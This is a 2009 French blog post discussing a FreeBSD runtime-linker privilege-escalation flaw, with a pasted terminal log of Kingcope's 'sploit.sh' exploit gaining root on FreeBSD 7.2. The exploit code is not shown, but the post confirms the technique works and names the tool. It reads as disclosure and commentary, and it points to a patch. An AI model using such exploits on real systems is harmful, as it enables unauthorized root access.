mardi 1 décembre 2009

Old school exploit

Je parle là de l'exploit permettant d'exploiter une non-vérification de valeur de retour dans le RTLD de FreeBSD (dans ses versions récentes), et qui mène à une élévation de privilèges lorsqu'il fonctionne.
Je ne pensais pas revoir de failles de ce style de mon vivant. Certaines, par le passé, ont été assez violentes, mais dans mes souvenirs, assez rares. Eh oui, on peut le dire, cette faille fait très "90's".
Sur son (super) blog, xorl explique assez clairement le pourquoi du comment de la faille. Et pour ceux qui ne comprennent pas le post de xorl, un patch temporaire (à utiliser à ses risques et périls) est disponible. Il s'agit d'un patch assez violent qui se contente d'essayer de désactiver les variables d'environnement qui doivent l'être (lorsqu'un binaire suid-root est exécuté), et qui s'il n'y arrive pas, bloque l'exécution du binaire. Un patch plus abouti fera un peu d'assainissement de l'environnement je pense (en désactivant pour de bon les variables d'environnement comme LD_PRELOAD)
En tout cas, sur mon FreeBSD 7.2, l'exploit fonctionne très bien :-) (il ne fonctionne donc pas que sur FreeBSD 8.0)
freebsd% sh sploit.sh
env env.c program.c program.o sploit.sh w00t.so.1.0 FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id; uname -sr
uid=1001(meik) gid=1001(meik) euid=0(root) groups=1001(meik),0(wheel)
FreeBSD 7.2-RELEASE
Edit: Il y a également un exploit de stealth (Sebastian Krahmer), blindé d'explications, et qui à priori date d'il y a un petit moment.